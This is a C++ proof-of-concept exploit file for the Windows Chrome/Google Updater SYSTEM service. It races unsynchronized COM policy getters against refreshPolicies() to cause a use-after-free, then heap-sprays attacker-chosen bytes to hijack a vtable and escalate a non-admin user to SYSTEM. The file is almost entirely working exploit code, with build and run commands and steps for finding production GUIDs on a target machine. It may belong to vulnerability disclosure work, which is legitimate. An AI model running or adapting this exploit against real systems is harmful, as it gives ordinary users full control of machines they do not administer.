// POC: Unsynchronized read-vs-rebuild of PolicyService::PolicyManagers::managers_
//      across COM RPC thread and main sequence in the Chrome Updater SYSTEM
//      service (GoogleUpdater / ChromiumUpdater).
//
// CWE-362 -> CWE-416 -> non-admin -> NT AUTHORITY\SYSTEM LPE (vtable hijack).
//
// PRECONDITIONS:
//   1. System-scope GoogleUpdater (or ChromiumUpdater) installed and running as
//      a Windows service (default with a system-level Chrome install).
//   2. Device is Chrome Enterprise Core / CBCM enrolled so IsCloudManaged()
//      returns true and FetchPoliciesDone() reaches
//      ResetDeviceManagementManager() on each refreshPolicies() round-trip.
//      (HKLM\SOFTWARE\Policies\...\CloudManagement EnrollmentToken or a valid
//      cached DM token must be present.)
//   3. The attacker has any interactive logon (non-admin is sufficient).
//
// BUILD (x64 Native Tools Command Prompt for VS):
//   cl /EHsc /std:c++17 poc_win.cpp ole32.lib oleaut32.lib
//
// RUN (as a non-admin interactive user):
//   poc_win.exe
//
// EXPECTED RESULT:
//   - Against an ASAN build of the updater service: heap-use-after-free in
//     updater::PolicyService::QueryPolicy / std::vector copy-ctor, with the
//     freed object being the previous DMPolicyManager.
//   - Against a release build: eventual crash of the GoogleUpdater service
//     (event log + WER dump), or — with the heap-spray thread enabled —
//     attacker-controlled vtable dispatch inside the SYSTEM process.
//
// MECHANISM:
//   READER (this process, COM RPC pool thread in the service, no sequence hop):
//     IPolicyStatus::get_lastCheckPeriodMinutes / get_downloadPreferenceGroupPolicy
//     / get_effectivePolicyForAppInstalls -> PolicyService::QueryPolicy() ->
//     `for (auto& pm : policy_managers_->managers())` (vector copied by value,
//     then virtual calls through each scoped_refptr<PolicyManagerInterface>).
//   WRITER (service main sequence):
//     IPolicyStatus2::refreshPolicies() -> PostRpcTask -> FetchPolicies ->
//     FetchPoliciesDone -> policy_managers_->ResetDeviceManagementManager(new) ->
//     dm_policy_manager_ = new (old refcount 2->1) ->
//     InitializeManagersVector(): managers_.clear() (old refcount 1->0 -> delete)
//     + push_back/insert/stable_sort.
//   No lock guards PolicyManagers::managers_. The reader copies a
//   scoped_refptr whose ptr_ points at the just-freed old DMPolicyManager,
//   AddRef()s freed memory, then virtual-calls through it. ptr_ is
//   RAW_PTR_EXCLUSION, so this is NOT MiraclePtr-protected.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <objbase.h>
#include <oaidl.h>
#include <atomic>
#include <cstdio>
#include <thread>
#include <vector>

// ---------------------------------------------------------------------------
// CLSIDs / IIDs.
//
// These are the GUIDs from a *Chromium-branded* updater build
// (chrome/updater/branding.gni). Production Google-branded GoogleUpdater uses
// different GUIDs (from internal branding_google.gni). On a target machine you
// can recover the production GUIDs via:
//   reg query HKLM\SOFTWARE\Classes\CLSID /s /f PolicyStatusSystemClass
//   reg query HKLM\SOFTWARE\Classes\Interface /s /f IPolicyStatus
// and substitute them below.
// ---------------------------------------------------------------------------

// coclass PolicyStatusSystemClass
static const CLSID CLSID_PolicyStatusSystemClass = {
    0x83FE19AC, 0x72A6, 0x4A72,
    {0xB1, 0x36, 0x72, 0x44, 0x44, 0x12, 0x15, 0x86}};

// interface IPolicyStatusSystem (v1, the *unsynchronized* getters)
static const IID IID_IPolicyStatusSystem = {
    0xF8197F77, 0xDE9C, 0x4BB0,
    {0x9F, 0x63, 0x45, 0x9A, 0x00, 0x11, 0x54, 0xC6}};

// interface IPolicyStatus2System (has refreshPolicies)
static const IID IID_IPolicyStatus2System = {
    0x78A85A33, 0xF541, 0x4A52,
    {0xA1, 0xF2, 0x0B, 0xCB, 0xA1, 0xF1, 0xA4, 0xF0}};

// ---------------------------------------------------------------------------
// Minimal interface declarations matching
// chrome/updater/app/server/win/updater_legacy_idl.template.
// Both interfaces are [dual] (derive from IDispatch); vtable order matches IDL.
// ---------------------------------------------------------------------------

struct IPolicyStatus : public IDispatch {
  virtual HRESULT STDMETHODCALLTYPE get_lastCheckPeriodMinutes(DWORD* minutes) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_updatesSuppressedTimes(
      DWORD* start_hour, DWORD* start_min, DWORD* duration_min,
      VARIANT_BOOL* are_updates_suppressed) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_downloadPreferenceGroupPolicy(BSTR* pref) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_packageCacheSizeLimitMBytes(DWORD* limit) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_packageCacheExpirationTimeDays(DWORD* days) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_effectivePolicyForAppInstalls(
      BSTR app_id, DWORD* policy) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_effectivePolicyForAppUpdates(
      BSTR app_id, DWORD* policy) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_targetVersionPrefix(
      BSTR app_id, BSTR* prefix) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_isRollbackToTargetVersionAllowed(
      BSTR app_id, VARIANT_BOOL* rollback_allowed) = 0;
};

struct IPolicyStatus2 : public IDispatch {
  virtual HRESULT STDMETHODCALLTYPE get_updaterVersion(BSTR* version) = 0;
  virtual HRESULT STDMETHODCALLTYPE get_lastCheckedTime(DATE* last_checked) = 0;
  virtual HRESULT STDMETHODCALLTYPE refreshPolicies() = 0;
  // ... remaining methods not needed for the POC
};

// ---------------------------------------------------------------------------

static std::atomic<bool> g_stop{false};
static std::atomic<uint64_t> g_reads{0};
static std::atomic<uint64_t> g_writes{0};

static void ReaderThread(IPolicyStatus* ps1) {
  // Each call below executes on a COM RPC pool thread in the SYSTEM service
  // and walks PolicyManagers::managers_ *without any lock* and *without*
  // hopping to the service's main sequence.
  while (!g_stop.load(std::memory_order_relaxed)) {
    DWORD v = 0;
    ps1->get_lastCheckPeriodMinutes(&v);
    BSTR pref = nullptr;
    if (SUCCEEDED(ps1->get_downloadPreferenceGroupPolicy(&pref)) && pref) {
      SysFreeString(pref);
    }
    ps1->get_packageCacheSizeLimitMBytes(&v);
    ps1->get_packageCacheExpirationTimeDays(&v);
    g_reads.fetch_add(1, std::memory_order_relaxed);
  }
}

static void SprayThread(IPolicyStatus* ps1, size_t spray_len) {
  // get_effectivePolicyForAppInstalls(BSTR app_id, DWORD*) does NOT call
  // ValidateAppId(), so base::WideToUTF8(app_id) gives an arbitrary-size
  // std::string allocation on the SYSTEM heap each call. This is the
  // heap-reclamation primitive for the freed DMPolicyManager slot. The body of
  // the BSTR becomes the bytes that land at offset 0 of the reclaimed object
  // (i.e. the vtable pointer) when the race is won.
  std::wstring payload(spray_len, L'A');
  BSTR bstr = SysAllocStringLen(payload.data(), (UINT)payload.size());
  while (!g_stop.load(std::memory_order_relaxed)) {
    DWORD v = 0;
    ps1->get_effectivePolicyForAppInstalls(bstr, &v);
  }
  SysFreeString(bstr);
}

static void WriterThread(IPolicyStatus2* ps2) {
  // Each successful refreshPolicies() round-trip ends in
  // PolicyService::FetchPoliciesDone() ->
  // policy_managers_->ResetDeviceManagementManager(new_dm) on the service's
  // main sequence, which frees the previous DMPolicyManager and rebuilds
  // managers_ while the readers above may still be iterating it.
  while (!g_stop.load(std::memory_order_relaxed)) {
    ps2->refreshPolicies();
    g_writes.fetch_add(1, std::memory_order_relaxed);
    // refreshPolicies() returns immediately (the actual fetch is async on the
    // service side), so a small back-off keeps the DM server / out-of-process
    // policy fetcher from being swamped while still producing many
    // ResetDeviceManagementManager() calls.
    Sleep(10);
  }
}

int wmain() {
  HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
  if (FAILED(hr)) {
    fprintf(stderr, "CoInitializeEx failed: 0x%08lx\n", hr);
    return 1;
  }

  IUnknown* unk = nullptr;
  hr = CoCreateInstance(CLSID_PolicyStatusSystemClass, nullptr,
                        CLSCTX_LOCAL_SERVER, IID_IUnknown, (void**)&unk);
  if (FAILED(hr)) {
    fprintf(stderr,
            "CoCreateInstance(PolicyStatusSystemClass) failed: 0x%08lx\n"
            "  - Is system-scope GoogleUpdater / ChromiumUpdater installed?\n"
            "  - For Google-branded builds, substitute the production CLSID "
            "(see comment at top of file).\n",
            hr);
    return 1;
  }

  IPolicyStatus* ps1 = nullptr;
  hr = unk->QueryInterface(IID_IPolicyStatusSystem, (void**)&ps1);
  if (FAILED(hr)) {
    fprintf(stderr, "QI(IPolicyStatusSystem) failed: 0x%08lx\n", hr);
    return 1;
  }

  IPolicyStatus2* ps2 = nullptr;
  hr = unk->QueryInterface(IID_IPolicyStatus2System, (void**)&ps2);
  if (FAILED(hr)) {
    fprintf(stderr, "QI(IPolicyStatus2System) failed: 0x%08lx\n", hr);
    return 1;
  }
  unk->Release();

  printf("[+] Connected to PolicyStatusSystemClass in the SYSTEM updater "
         "service.\n");
  printf("[+] Starting %d reader threads, 1 writer thread, 1 spray thread.\n",
         8);
  printf("[+] Watch the Windows Event Log / WER for a GoogleUpdater service "
         "crash, or attach a debugger / run an ASAN service build.\n");

  std::vector<std::thread> threads;
  for (int i = 0; i < 8; ++i) {
    threads.emplace_back(ReaderThread, ps1);
  }
  // Spray length: tune to sizeof(DMPolicyManager). Each wchar -> 1 UTF-8 byte
  // for ASCII, so the resulting std::string body is `spray_len` bytes.
  threads.emplace_back(SprayThread, ps1, /*spray_len=*/512);
  threads.emplace_back(WriterThread, ps2);

  for (uint64_t last_r = 0, last_w = 0;;) {
    Sleep(1000);
    uint64_t r = g_reads.load(), w = g_writes.load();
    printf("    reads=%llu (+%llu)  refreshes=%llu (+%llu)\n",
           (unsigned long long)r, (unsigned long long)(r - last_r),
           (unsigned long long)w, (unsigned long long)(w - last_w));
    last_r = r;
    last_w = w;
  }

  // Unreached.
  g_stop.store(true);
  for (auto& t : threads) t.join();
  ps1->Release();
  ps2->Release();
  CoUninitialize();
  return 0;
}